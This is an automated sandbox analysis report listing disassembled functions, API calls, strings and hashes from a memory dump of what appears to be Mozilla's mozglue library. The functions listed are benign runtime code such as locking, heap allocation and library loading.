Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction ID: d0e3571c2bd200eb6f3ca1635352a3365f6f14c2e9d20bc6a0fda8586db42384
Opcode Fuzzy Hash: 011bea3d5f5013af116d54e9a153bdfc4a25425e751af60d67e69e5ba7e6a634
Instruction Fuzzy Hash: E161AF754086019FC711CF58C48059AB3F5FF89328F54866EE8999B702EB32E987CBD5

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C69E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E04F

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C69E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C69E057

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction ID: 6776e6135ab9b708d99987a322afce9bb1f9f19acc909b9fde3328e2bb01d191
Opcode Fuzzy Hash: 2b166ee85250f4a41d121863989f427877e86856b7d0ec1711ab51fac51d1b52
Instruction Fuzzy Hash: E721B074A0010A9FDF009F65D898AAEB7B5BF8A308F140429E90A97740DB31A919C7E9

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

